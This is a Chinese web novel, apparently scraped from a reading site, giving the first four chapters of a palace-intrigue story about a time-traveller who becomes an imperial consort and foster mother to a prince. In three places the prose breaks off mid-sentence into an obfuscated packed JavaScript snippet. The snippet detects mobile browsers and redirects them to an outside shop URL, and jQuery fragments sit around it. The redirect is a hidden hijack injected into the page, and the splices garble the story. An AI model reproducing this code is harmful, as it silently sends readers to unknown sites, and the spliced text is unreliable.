《纤手破新橙》 1. 第一章 于少微觉得自己可能是史上最尴尬的穿越者,之一。 谁懂她两眼一睁,身边睡了个陌生男人的惊悚感,而且,还没穿衣服!!! 嘶,她也没穿!!! 她觉得自己有点死了。 于少微意识朦胧,索性两眼一闭昏死过去,再睁开时,她已换上干净的寝衣,躺在一张陌生的床上。 这是……? 夏日昼长,虽是清晨,太阳却已亮得刺眼,于少微下意识眯了眯眼,还不待她唤醒自个儿生锈的脑袋,就被一声略尖的女声惊地一激灵 “娘娘,娘娘,快些起来了,咱们要迟了!” “好,好的……等等——”于少微下意识坐直,顿觉浑身酸痛无比,她一边揉着自己脖颈一边有些疑惑:“什么迟了?” “请安啊!咱们必须赶在淑妃娘娘之前收拾好等着,快!把热水端过来,还有那边,婕妤的衣服熨好了吗?那个……” 穿着碧色衣裳的宫女着急忙慌的一通指挥,屋里几人脚步匆匆,于少微愣愣地看着,似提线木偶般由着她们动作。 待到顶着满头珠翠,看着铜镜里那张陌生的脸,于少微觉得自己头有点晕 “欸娘娘娘娘!婕妤!快来人!快来人——” 于少微突然倒下,场面一片混乱,好在还没等屋里的人跑出去喊人,她就悠悠转醒,强撑着一口气喊道:“别,别叫。” 虽然不知道为什么,但潜意识告诉她,最好不要叫人。 刚刚喊她起床的那位碧衣宫女担心的拥着她,语气焦灼:“娘娘您怎么了?您没事吧!” “没,没事,你快别摇了,我脑浆都要被你摇匀了…” 于少微扶着小碧起身,嘴角勉强扯出一点笑,有些虚弱道:“有吃食吗?我大概是低血糖犯了,这一大早什么都没吃就被一番折腾……” 小碧不知道什么是低血糖,但她听懂婕妤可能是饿了,但是……她为难地抿了抿嘴,于少微见状:?这里吃东西很难吗??? “娘娘,宫里有规定,嫔妃请安前不可进食,而且咱这宫里的小厨房是淑妃的,您初来乍到恐怕……” 行,她明白了,不是没有,只是现在没有,幸好幸好,她以为自己今天要饿死在这了。可是…于少微抬了抬自己有些发麻的手臂,她现在这情况要是去请那个什么安,怕是请安未半就中道崩殂了。 “有糖吗?”于少缩着肩膀,虚弱发问 最怕空气突然安静……她等了几秒,垂头认命。 “奴,奴婢这有……有几颗桂花糖。” 出声的是一个扎着双环髻的粉衣宫女,于少微认得她,刚刚把香粉拍进她嘴里的就是她! “嗳呀,早说嘛真是,能不能先借我吃点,改天还你?” 于少微说得诚恳,只见那小粉扑通一声就跪了下来,她脑袋一懵,这,好端端的跪什么?难道这糖是,是什么,谁的遗…遗物?! “你,”于少微攥着袖口,有些着急:“有事起来说,那糖你收着我不要了成不?” 小粉膝行几步跪到她面前,有些胆怯道:“奴婢不该私藏食物,请娘娘责罚。” 于少微一愣,这是她万万没想到,这—— “把糖给我。”她听到自己声音响起 小粉悉悉索索从腰间掏了个玉佩大小的小纸包,于少微伸手接过,拆开看了两眼,闻了闻,一把全部倒进了嘴里 “现在没有了,我什么也不知道,你快起来吧。”于少微鼓着腮帮子艰难发言,啧真齁,有没有水给她润润 “有茶水吗?”她望向小碧,还不待人回复,又警觉道:“请安前能喝水吧?” 小碧哭笑不得,“能的能的,我这就给您倒,哎呦您慢些小心别噎着。” 于少微端着茶杯心满意足的舒了口气,她现在感觉自己头不晕了,腰不痛了,腿也不酸了,简直活力满满。 “欸怎么还不起来?”于少微放下茶杯疑惑地看着面前的小粉。 “噢,谢,谢娘娘恩典。”小粉显然还没从刚刚的场面中回过神来,依照惯性行了礼,两眼依旧是懵懵的。 于少微心底一哂,傻孩子。 “下次给你带糖。”她勾了勾手指,对着靠过来的小粉轻轻道。 不再理会女孩瞬间的慌乱,于少微扶着脖子转向小碧,“走吧。” 宫里规定请安不允带太多宫人,几个丫头留在屋里收拾东西,小碧小心扶着于少微起身出门。 主仆二人匆匆赶到怡春宫的正殿,却没瞧见宫主人淑妃的影子,好在还没等两人纳闷,就有宫女迎上来,浅浅朝于少微行了个礼,微笑解释道:“我们娘娘有事先去了,走得急来不及告知,得辛苦婕妤您自己去未央宫了。” 见人那么客气,于少微不自觉也躬了躬身,连忙摆手道:“收到收到,不辛苦不辛苦。” 宫女又朝这位婕妤娘娘行了个礼,便绕到后头继续自己刚刚的活计。 于少微不着痕迹地瞥了眼那个宫女,转头看向自家皱着眉头的小碧,眨了眨眼,做出嘴型:走吧。 * 盛夏的晨光已早早显露出威势,未央宫宫顶的琉璃瓦被这光芒一照,反射出刺目的金辉,不知哪来的蝉鸣声浪一波高过一波,穿透窗纱在殿宇深处嗡嗡回荡,更添几分夏日的燥郁难耐。 宫内倒是另一番景象。 四角巨大的青玉冰鉴无声吞吐着寒气,丝丝缕缕的凉意悄然弥漫开来,与殿外暑气划开界限,落地雕花长窗尽数敞开,悬着细密如雾的湘妃竹帘,既透风,又柔化了殿外过于锐利的光线。 空气里浮动着清冽的薄荷与冰片气息,于少微狠狠吸了一大口,一路走来热得有些发懵的脑袋瞬间清醒。 皇后娘娘尚未到来,宫内也只来了八九个低位嫔妃,见着于少微进来了,纷纷起身向她行礼。 于少微内心慌乱,绷着笑受了礼,手足无措之际,马上就有宫女引她入座,小幅度打量一圈,自她以下座无虚席,自她以上全是虚席,啧,和她上班开会一个样。 殿内几个宫女正到处忙碌,皆穿着水绿色薄纱宫装,行走间如碧波微漾,动作轻捷如风,或无声无息地更换着冰鉴里融化的冰水,或用细长银签拨动狻猊香炉里焚烧的薄荷冰片香饼,香霭袅袅,融入那片清凉之中。 于少微微靠着椅背,默不作声的缓着被暑气侵扰的胸口。没坐多久,宫外环佩声响陡然清晰,原先还在位置上低声闲话的嫔妃们陡然起身,几位高阶妃嫔的身影依次出现在门口的光影里。 为首的是谢贵妃。她一身银红色蹙金飞凤穿牡丹纹的云锦宫装,高耸的望仙髻上插着赤金点翠嵌红宝的凤钗,两鬓另插数支赤金镶宝石花钿,颈间璎珞、腕上金钏,皆是赤金嵌各色宝石,随着她的步伐叮当作响,光彩流溢,几乎要灼伤人眼。 贵妃唇角噙着一丝若有若无的笑意,目光扫过殿内嫔妃,在于少微处稍作停留,带着毫不掩饰的审视与骄矜,径直走向左首第一的位置,衣裙带起一阵香风,瞬间压过了殿中原本的清冽薄荷香。 随后进来的是文淑妃。她今日一身天水碧色宫装,衣料在行走间仿佛有流动的水光,发髻高挽,只簪一支通体无瑕的羊脂白玉莲花步摇,并两枚小巧的珍珠掩鬓,耳垂上亦是两颗浑圆莹白的东珠。通身上下,无半分金玉俗艳,唯有清冷玉色与珠光,衬得她眉眼愈发沉静。 淑妃目不斜视,步履端方,走到左首第一张紫檀雕花椅前,才微微屈膝,对着空置的凤座方向浅浅一礼,仪态无可挑剔。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849592|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 瑛嫔和瑾嫔是一块儿进来的,两人皆穿着藕荷色广袖宫装,梳着反绾髻,插着一式的芙蓉玉簪,举止亲密,仔细一瞧,面容也相似的很。 姐妹花一起向上首的谢贵妃与文淑妃行了个礼,便分开两边就坐。外头没再来人,于少微这批站着的嫔妃又统一向刚来几人行了礼,得到应允后,低眉顺眼的坐回了原先的位置。 于少微觉得自己脑袋又有些晕,定是刚刚行礼太多所致,她悄悄算了算,天,短短几分钟就行了四次,这规矩大的,她—— “皇后娘娘驾到——”内侍尖细悠长的通传声打破了沉寂,于少微收了心,再次利落起身。 皇后陈氏在四名执孔雀翎宫扇的宫女簇拥下,自后殿缓步而出。她身着明黄色绣九凤翔云纹的宫装,高髻正中压着一支赤金累丝嵌红宝大凤钗,凤口衔下三串晶莹剔透的明珠,左右各插一支赤金点翠嵌蓝宝的鸾鸟步摇,凤尾舒展,垂落细密的金流苏。耳上是金丝嵌东珠的明月珰,腕上是赤金镶羊脂白玉的龙凤呈祥镯,通身气度华贵天成。 皇后眉目端庄,肤色白皙,保养得宜的脸上看不出太多岁月痕迹,但多少带了些疲态,她搭着贴身女官的手,步履沉稳地走向最顶端的凤座。 “臣妾等恭请皇后娘娘万福金安!” 以贵妃、淑妃为首,殿内所有妃嫔,无论尊卑,齐齐俯身依照品阶高低行礼,皇后稳稳坐定于凤座之上,目光平和地扫过下方一片俯首的云鬓 “免礼,赐座。” “谢皇后娘娘。” 众妃谢恩起身,按位次在两侧的紫檀雕花椅上落座,宫女们立刻无声地奉上温度适宜的香茗和时令瓜果切片。 皇后照例讲了些后宫的事物安排,于少微微侧着脑袋同旁人一样做出一副认真听讲的模样,时不时点头附和,虽她已经努力强迫自己打起精神,奈何她还是有些头晕,虽然知道现在不是时候,但她真的控制不住自己去想,她这是穿越了?一个陌生的朝代?成了皇帝的妃子? 莫名的,她有些想笑,这实在是太荒唐了。 “于婕妤是有话要说?” 上方传来一道和蔼的声音,四方目光汇聚而来,她陡然清醒,下意识挤出笑容,顶着众多视线恭敬回话 “回皇后娘娘,臣妾闻着您这的香宜人得很,配着冰鉴的冷气,外头的热气都不敢来搭边,不知能否告知此香名字,这天实在热得慌,臣妾也想配一些用。” 皇后似乎不必在意于少微回答了什么,只是点点头道 “于婕妤刚入宫,昨晚侍寝辛苦了,陛下嘱咐过要好好照顾你,这香我命人再配一些,等会儿跟着陛下的赏赐一齐送到你屋里。” 于少微赶忙谢恩,皇后定定看了看下首跪着的少女,垂眸掩掉眼里的情绪,又继续道:“宫里好久没来新人了,东西有缺的,规矩有不懂的,劳烦淑妃多多看顾,万不能丢了皇上的颜面。” 文淑妃朝皇后颔首致意,又笑着看向于少微,“听到娘娘说的话没,进了宫都是自家姐妹,有事尽管来找我。” 这淑妃瞧着很是友善,于少微正要与其道谢,一旁的谢贵妃突然娇笑出声:“文妹妹可是这宫里的大忙人呢,怕是管不了那么多,也不知陛下怎么想的,贤妃的侄女,怎么分到怡春宫去了?” “陛下这么做自是有他的道理,贵妃与我身为嫔妃,只管做好陛下吩咐的事就好。” 谢贵妃最是看不惯她这副做作的模样,冷冷笑了两声,“还是淑妃识大体,当为后宫表率,在座的各位可都好好学学,尤其是新来的于婕妤——” 于少微头皮一紧,不知该作何反应。 谢贵妃没去看她,只是朝文淑妃挑了挑眉,“于婕妤可要多仔细些了,宫规森严,免得错了规矩受罚。” 2. 第二章 于少微靠在自己屋里的美人榻上,捧着碗冰镇酸梅汤,竖起耳朵听槐序说话。 穿着碧色衣裳的槐序让她想起方才皇后宫里的薄荷冰片,说时迟那时快,槐序的故事会才将将开了个头,穿着粉衣的青阳进来通报,是皇后身边的女官带着赏赐来了。 乌木托盘上摆着玲珑赏赐,其中的宝石东珠,轻鲛绸缎铺开一排,熠熠生辉,映得整个屋子都亮堂起来。 于少微住的地方叫晴雨阁,是怡春宫的偏殿,怡春宫除了文淑妃住的主殿,还有好几座屋子,各有院子,彼此算得上独立。在后宫中,嫔位以上才有资格作一宫之主,于少微无大所谓,怡春宫只有她和文淑妃两位主子,她的晴雨阁很大,名字也很好听。 皇后宫中的人走后,槐序带着几个小宫女清点赏赐,于少微有些不好意思干坐在旁边,便凑到忙碌的青阳身边,轻轻道:“有需要我帮忙的吗?” “娘娘——” 青阳猛地后退一步,身子一歪,掌心的紫玉芙蓉耳坠瞬间脱手而出,于少微往左一个扑腾将耳坠接住,讷讷地站在原地,有些不知所措。 槐序被动静吸引,一眼瞧见捧着耳坠呆站着的婕妤,别的人也都停下手里的活,一齐看向于少微。 于少微在看青阳。 “你没事吧——” “娘娘恕罪!” 青阳扑通一声跪在地上,方才看向她的目光又转向了地上的人。 槐序的目光在二人间转了一圈,有些严厉地看向青阳:“怎么回事?” “方才奴婢——” “我的错,你快起来吧。” 于少微打断青阳的解释,盯着青阳慢慢站起来。 “我想问问有没有要帮忙的……”女子声音有些低。 槐序愣了一下,目光流露出一丝同情,温言道:“交给我们就是,娘娘那么金贵的人怎么能干这些。” 于少微反应过来,飞快点点头,“哦哦好,好的,那这对耳坠——” “娘娘交给我就行。” 槐序从于少微掌心接过耳坠,紫玉触手温润,她突然轻轻的“啊”了一声,抬头笑眯眯看着婕妤:“这紫玉坠子与娘娘今日的衣裳搭得很,奴婢给您戴上看看?” 于少微有些发愣,木木的点了点头,任由自己被扶到妆台前坐下。槐序拿帕子擦了擦耳坠,小心给人戴上,末了定定看了几眼,眉开眼笑:“真漂亮!这坠子娘娘戴起来真好看!” 于少微看着铜镜里那张略显素净的脸,乌发松散,将淡粉的耳廓掩了一半,芙蓉坠在脸侧微微晃动,透出一股说不出的灵巧劲儿。 “嗯。”镜子里的人矜持地点了点头,耳坠荡出两条轻快的弧线。 于少微假装没看见槐序噙笑的嘴角,自顾自又对着镜子欣赏了会儿,才想起正事道:“淑妃娘娘让我晌午去找她?” 槐序点点头,立马懂了于少微的意思:“淑妃娘娘应是邀您一起用午膳,许是有事与您说。” 于少微得到了想要的答案,方才皇后宫里的人传话传得不清不楚的,她也不好直接问,贸然前去又怕坏了规矩,想到这,她又道:“要带东西去吗?” 槐序想了想,“我让青阳把您从家带来的首饰盒子拿过来,您挑一件。” 于少微满意了,寻着青阳拿东西的空档,她让槐序接着方才的故事讲。 “贵妃和淑妃曾经真的很要好吗?”于少微想起今早在皇后宫中的插曲,有些诧异。 “曾经好过一段时间。”槐序打发屋里其他人出去,又亲自去门口望了望,才回来继续道 “这都是陛下初登基时候的事了,奴婢那时还没入宫,许多事情都是听旁人说的。” “没事,你说。”于少微招呼槐序坐下。 后者犹豫了一下,但瞧见人亮晶晶的眸子不似作假,便顺从地坐了下来,“那婕妤就当听个故事。” “二位娘娘是同一年进宫的,谢贵妃背后是谢家,在一众世家中都属最上面的,而文淑妃的父亲却是寒门子弟靠科举入朝做了官。彼时两人身份相差甚远,本来就算同入宫也不会有太多交集,却不想两人惺惺相惜,竟相处得十分要好。” “她们之间定是发生了什么事。” 槐序“欸”了一声,“肯定是有过什么的,不过奴婢也不晓得。只知道二位娘娘跟亲姐妹似的好过一阵子,只是后来因着皇帝的宠爱两人渐渐生分,然后……” 槐序顿了顿,不知道该不该说下去。 于少微故事听到精彩处,见人忽然卡格,推了把槐序的胳膊,哀求道:“继续继续,别停在这。” 槐序吸了口气,嘱咐道:“婕妤就当听个闲话,可万万不能往外说。” 于少微认真点点头,得到保证,槐序又继续道:“后来二位娘娘前后脚怀孕,某日两人爆发争执,淑妃娘娘过后就流产了,陛下也发了好大的火,不但罚了贵妃娘娘,连她的父兄也挨了罚。” 于少微叹了口气,“这宫中可真是个吃人的地方。” 槐序不置可否,只继续道:“淑妃娘娘因此生了好大一场病,陛下为补偿,珠宝首饰、珍惜药材流水般地往里送,不但升了娘娘的位份,还升了她父亲的官。自此,二位娘娘不仅结成了仇家,她们的父亲也在朝廷上针锋相对,一个背后是谢家,一个背后是皇帝,前朝后宫就这样对峙了许多年。” 语毕两人一齐叹气,青阳不知什么时候过来了,捧着一个三层的黄花梨首饰盒安静立在一边。 经过小半日光阴,于少微已从最开始的懵征中缓过劲来,原主的记忆也混乱涌入脑中,这首饰匣子看着精贵却是十足的陌生,原主在家中不受宠,想来是因她进宫才给添置的。 于少微将每一层都拉开仔细瞧了,又挑挑拣拣好一会儿,拣了支翡翠莲花簪拿在手上循着雕花窗透进来的天光看,玉质不算上乘,但精致非常,堪称一句巧夺天工,已属她这匣子里头的尖货,忽然想起方才皇后宫中来的那些赏赐,她微微皱了皱眉,于家也是个有底蕴的家族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849593|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把女儿送到宫里就打发这些东西,真是一点气度都没有。 记忆渐渐回笼,于少微脑海里掠过这位与她同名少女短暂的二十年人生,当今于家家主发妻的女儿,母亲早逝,继母入门,被高僧批命为不详,父亲不慈,继母阴毒,无母无兄,孑然一身,备受冷落。 让人拿了个长条匣子把簪子装进去,于少微托腮对着镜台安静发了会儿呆,太阳渐移至中空,见时辰差不多了,槐序拿上匣子扶着人去文淑妃处。 文淑妃已在宫中备下午膳,见人来了,含笑着招呼人坐下,于少微恭敬地行了个礼,从槐序手中接过礼物递了过去,才在左侧拉开的椅子上坐定。 “于婕妤太客气了,本意是招呼你吃顿饭,你还带礼物过来,咱们住在一处,不必如此生分。”边说着,文淑妃将打开的匣子交给身边的宫女,低声与人嘱咐几句,又笑着看向于少微。 “娘娘莫说这种说,这莲花簪子在我首饰匣子中放了许久,一直觉得自己衬不起它的好颜色,今日在皇后宫见到娘娘,直觉娘娘才应是它的主人,才颠颠给您送来了,还望娘娘莫要嫌弃的好。” 一番话说得文淑妃嘴角笑容扩大几分,看向于少微的目光也多带了几分审视,她之前在于贤妃宫中见过这女子,形貌胆怯,人沉默得很,倒与今日不同。 谈话间,文淑妃身旁的宫女拿着一个匣子去而复返,文淑妃将其递给于少微:“打开看看。” 是一支红珊瑚番莲花钗,色泽明亮,红得滴血,一看就绝非俗物。于少微起身想要道谢,又被文淑妃按着手腕坐了回去 “这簪子是我十几年前得的,南边来的贡品,算是个稀罕玩意儿,我基本没戴过,你现在芳华正好,要多戴这种艳丽的颜色,不要整日穿得那么素净。” 于少微得了好礼,整个人顿时活泛起来,当即就让槐序给她戴上了,喜滋滋地又连与淑妃道了好几声谢。 文淑妃见其一幅小女儿作态,心里觉得有趣,面上也添了几分真心实意地欢喜,夹了块糯米麂子排到她碟子里,招呼道:“来来来快吃菜,怕是饿坏了吧。” 麂子肉排用酱料腌透,裹上糯米,再包上新鲜荷叶蒸熟,于少微低头咬了一大口,荷香与肉香交织,味道好得不行。 文淑妃自己也夹了一块,进食姿态优雅,见人将一块肉排吃完,才慢悠悠道:“今日我在皇后娘娘宫中商量事,碰巧遇到了皇上,他听说我晌午要招呼你吃饭,特意赏了这道菜过来,你吃着可好?” 于少微连忙放下筷子,重重点了点头,“臣妾从未吃过如此好吃的东西,谢谢陛下与娘娘!” 文淑妃掩嘴笑了几声,“你自己瞧着还是十足的孩子样,要你当娘怕是难为你了。” 于少微拿筷子的手一顿,有些震惊地看向文淑妃。 “你还不知道?”文淑妃语调上扬,觉得她惊讶地模样十分有趣。 于少微目光转向槐序,见其的确一幅不知情的样子,又转向文淑妃,“还望娘娘解惑。” 3. 第三章 文淑妃见其惊讶表情不似作假,又道:“我记得早先你是进过宫的。” 于少微点点头,“随母亲进宫看过姑姑。” 说起去世的于贤妃,文淑妃叹了口气,“你姑姑红颜薄命,好好的人就这么没了。” 于少微适时做出哀伤的表情,跟着叹气道:“姑姑身体一直不好。” 文淑妃没再说什么,话锋一转,突然道:“你姑姑与谢贵妃一向交好,你可知晓?” 淑妃脸上挂着与先前无异和煦的笑容,于少微心里一坠,谨慎答道:“不曾听母亲提起过。” “听说你与于大人不甚亲近?” 于少微不知如何作答,愣了一下,才低低道:“父亲公事繁忙,我不好打扰。” 文淑妃若有所思地“嗯”了一声,抬手夹了块松瓤鹅油卷放进于少微面前的碟子里,于少微有些慌乱地说了声谢谢,文淑妃见她一副受宠若惊的模样,再开口时,语气莫名软了几分 “天下并不是所有父母都爱自己儿女的,你如今进了宫,就不要想往事了。” 于少微“嗳”了一声,默默将碟子里的鹅油卷吃了,觑见文淑妃仍不动筷,也没有再开口的意思,想了想,还是问道:“娘娘方才说的…妾身当娘的事情……” “哦这个啊,”文淑妃没有再说旁话,直接道:“皇上决定将之前养在你姑姑名下的五皇子送到你那去,人和圣旨下午应该就一起送来了。” “咱们也快些吃吧,你也好回去做准备。” 有了先前的缓冲,于少微较为顺利的接受她要给人当娘的消息,顺从地低头吃饭,文淑妃细细品着面前的冬瓜盅,忽见旁边年轻的女子不自觉微皱的眉头,放下银匙拍了拍她手腕,劝慰道:“五皇子也满十四,性子不是闹腾的,之前在于贤妃处就省心得很,再说生活皆有宫人服侍,不用你操多少心。” “多谢娘娘提点。”于少微将身子朝文淑妃处靠了靠,面上混着感激与焦虑 “养育皇子是大事,突得消息少微实在手足无措,让娘娘见笑了。”于少微抿了抿唇,犹豫几瞬,又有些不好意思道:“少微听说娘娘将四皇子与二公主教养得极好,您若是方便,少微遇到拿不准的问题时,可否来请教娘娘指点一二?” 文淑妃闻此微不可查地挑了挑眉,见其一副依靠信任的模样,笑道:“自然是可以的。” 回到自己屋里后,于少微让槐序将于贤妃在宫里的事情与她仔细说说,槐序进宫时间不算长,许多事情都只是听别人说,知道得并不算多,于少微也不介意,只是不停提问 “于贤妃与谢贵妃关系如何?” 槐序知道婕妤是在问方才淑妃娘娘说得话,老实道:“谢家和于家同为世家,贤妃娘娘初进宫时就被分到了贵妃娘娘宫里,后面封妃了才搬出去,一起住了有近四年,交不交好奴婢不甚清楚,但宫里似乎没听说过二位娘娘不睦的消息。” “那我姑姑和淑妃娘娘关系差吗?” 槐序迟缓地摇摇头,“淑妃娘娘最会做人,在宫中除了与贵妃娘娘的矛盾是摆在明面上的,别的都……” 于少微明白了,摆摆手没让槐序再说下去。 “再与我说说五皇子吧,我记得他不是我姑姑亲生的,他生母是哪位娘娘?” 这个是槐序清楚的,宫人中早传遍了,有些迫不及待道:“五皇子生母是陛下从宫外带回来的,生了五皇子后被封了贵人,后面自个儿上吊死了,五皇子才被指到了贤妃娘娘名下。” 于少微皱眉,“生了皇子才给个贵人的位份?” 她啥都没干一进宫就是个婕妤,虽然有家世的原因,但皇帝应不是如此吝啬之人? 槐序明白于少微的疑惑,解释道:“这位沈贵人家世普通,且性子乖戾不驯,冲撞过陛下好多回,惹得陛下不喜,生下五皇子后被分到最偏远的宫殿里头,几乎无人探视。” “冲撞多回……沈贵人可有过人之处?”于少微可不觉得当今皇上是个大度的人。 “貌美惊人。” 于少微惊讶这个评价,“你可见过?比之贵妃淑妃又如何?” “奴婢初进宫时见过几面,那张脸实在是摄人心魄,沈贵人的母亲是胡人,父亲是边商,她自小就与其父四处行商,有回来京城,正好遇见微服出访的陛下,就这么被带回来了。” 于少微暗骂一声皇帝该死,好好的姑娘四处遨游,一下就给人关笼子里生孩子,不恨才怪。 “五皇子如何?” “听闻是一众皇子中最沉默的,也不得陛下看重,也因为这个,之前在贤妃娘娘宫中时,贤妃也不甚喜欢。” 于少微点点头,顺手倒了杯茶递给槐序,“你润润嗓子。” 槐序惶恐,两手悬在半空,不知接还是不接。 于少微回过神来,将杯子塞到她手里,直接道:“给你你就喝,你既被指来服侍我,对我在家中的日子应有所耳闻,我不是个习惯被人伺候的,关起门来我这也没那么多规矩,不需要那么紧张。” 槐序低头称谢。 于少微观察着她的神色,确定她的确知晓一些她在于家的处境,又思及今日文淑妃的说,想来于家对她的态度在宫中不是什么秘密。这就有意思了,向来前朝后宫多有牵扯,于家将她送进来填贤妃的坑,就不怕她得势了反过来咬他们一口?她年纪已有二十,皇上更属意的难道不该是她继母生的妹妹?于家直接将她送过来,皇上也就乐呵呵地接受了? “圣旨何时到?”于少微隐约听到嘈杂声,出声问道 槐序立马小跑至院子里头,往外张望了一会儿,由急匆匆跑回来,“娘娘真是神机妙算,奴婢望见陛下身边的孙公公了,正往咱们院里赶呢!” 果然,不一会儿,一个拿着拂尘的太监就领着一个少年与一行人来到她宫中。 谢恩接过圣旨,槐序又立马上前塞了个荷包过去,孙公公笑呵呵地说了几句吉祥话就带着人走了,只留下少年与一院子的行李和赏赐与于少微面面相觑。 “坐。”于少微率先打破僵局,想了想又朝青阳吩咐了句,“拿个软垫子过来。” 少年表情有些怯懦,拘谨地站着,似乎是在犹豫该坐哪把椅子,青阳很快就把软垫拿了过来,于少微接过直接放在她左边的椅子上,微微拉开,又看着少年道:“坐这里。” “你叫亓轸是吗?”于少微扬起一个大大的笑容,热情地看向少年。 十四岁的少年淡碧色的圆领袍衫,身材修长,背脊却十分单薄,明明是合身的衣裳,穿着却有些伶仃的感觉 于少微皱了皱眉,“怎么长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849594|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这般瘦,可是天气炎热胃口不好?” 亓轸敛起眼底的防备,摆出一副怯生生的恭敬表情,微微摇头,“谢娘娘关心,儿臣胃口很好。” 于少微盯着亓轸上下打量,少年似是被看得不好意思,但又不敢动,只得僵在位置上任于少微打量 “我知道了。”于少微突然道 “嗯?”亓轸偏了偏脑袋,做出洗耳恭听的模样 “你近日可有觉得膝盖疼?尤其是睡觉前?” 亓轸点头 “这样有多久了?” “小半年了吧。” “找太医看过了吗?” 亓轸摇摇头,“那段时间母妃…贤妃娘娘病重,我不好再让她担心。” 听着还是个有孝心的,于少微心想。 “我是生了什么病吗?”少年见旁边的娘娘光看着他不说话,目光适时流露出一丝担忧。 太阳逐渐西移,日光也渐渐暗淡,宫灯烛台次第燃起,借着烛光,于少微发现少年的黑眸中竟透着几分绿,像是幽深的碧潭,只有在日光下被看见时才会显出几分本色。 果然是混血啊。 突然起了一丝捉弄的心思,于少微板起脸,故作严肃道:“是的,我之前家中也有人与你一般症状,最后腿都被大夫截去了。” 亓轸一愣,露出一言难尽的神情,面前这位看着只会傻乐的女人,真当他是二傻子吗? 于少微见骗不到人,迅速将表情收回,重新换了副笑脸,将面前的榛子仁与杏仁推到他面前,“你就是生长痛,平日要多吃坚果鱼虾,还要多喝牛乳……你平常喝牛乳吗?” 亓轸摇了摇头,他不喜欢这玩意儿。 “那从明天起我叫人早晚送两次牛乳给你,记得喝完。” 亓轸抓了把榛子仁,默默点头。 于少微瞧出了他的不情愿,扬起眉毛威胁道:“膝盖疼表明你正在长个子,若不多喝点牛乳补充营养,很可能就会停在现在的样子,再也不长个了。” 亓轸吃榛子的动作一顿,抬头又偷偷打量了几眼于少微,心里有些疑惑,这人与他之前在贤妃宫中见到时的很不一样。 于少微并不管他在想什么,自己又拣几颗杏仁到嘴里,嚼吧嚼吧将手拍了拍,指挥宫人将院子里的行李都搬到亓轸屋里去,又把青阳叫了过来,嘱咐等会晚膳让厨房多做一道豆腐鲫鱼汤和炒河虾 “最好将虾炸一下再炒,这样壳也可以直接吃。”于少微补充道,看着青阳远去的背影,忽然心情大好,虽然被迫给人当娘,但好在皇帝良心未泯,送了她个小厨房,宫中日子也算有点盼头,起码再不会出现今早的情况了。 转头看见束手坐着的亓轸,于少微笑意不减,拍了拍他的肩,“怎么不吃了?再多抓点啊,你要是累了就回你屋里休息,晚膳好了我派人去喊你。” 亓轸被肩上突如其来的一巴掌吓得一哆嗦,不自在地缩了缩肩膀,扯出一抹生硬的笑:“谢娘娘关心,那儿臣先退下了。” 言罢立马起身,行礼告退,于少微瞧他略显急促的脚步,心里觉得好笑,出声将人叫住 “既然陛下将你记到了我名下,你以后还是唤我母妃吧。” 亓轸顿住脚步,转身又对于少微行了个礼,“回母妃的话,儿臣知道了。” 4. 第四章 穿越之后第一个清醒的晚上,于少微睡不着。白天信息量太大,睡前又让槐序给她恶补了一些宫中的规矩礼仪,现在放松下来,才感觉自己脑袋嗡嗡的疼。 她是一个坚定的唯物主义者,如果世上真有鬼神,那她幼年时日日祈祷,为什么从未得到回应?而现在,榻上的人叹了口气,原来只是老天懒得理她罢了。 夜晚没有白日燥热,于少微感觉有风钻进轻薄的纱帐,她睁大双眼想看清纱帐被风吹动的样子,现实却是一片漆黑。 看不清算了,于少微狠狠揪了一把纱帐,躺床上烙了一会儿饼,沉沉地睡着了。 早上,于少微洗漱好坐在自己屋里吃小厨房冰镇过的绿豆粥,余光扫到院子里扫洒的宫人,突然一惊:“亓轸呢?” “殿下去文华殿上学了。”青阳一边回话,一边盛了碗荔枝汤放在于少微手边。 于少微瞥了眼那碗胭脂色的甜饮,将吃了半碗的绿豆粥推到一边,眯起眼睛去看外头的日光:“几时去的?” “卯时刚过就走了。”青阳将绿豆粥收走,又换了碗骨头粥上前。 这么早啊,于少微慢悠悠地搅着碗里的稠粥,在心里替他掬一把同情泪。 “五皇子用过早膳了吗?”她适时表现关心。 青阳笑道:“用了用了,与您一样的菜色,听您的嘱咐还给殿下加了碗牛乳。” “嗯。”于少微点点头,不愧是宫里的人,训练有素、办事妥帖,这样看来文淑妃说的没错,养皇子不需要她操什么心。 “牛乳他喝完了吗?”她突然想到昨晚少年嫌弃的神色。 青阳点点头,想了想又开口道:“殿下似乎不是很喜欢,奴婢看殿下喝得时候眉头一直皱着。” 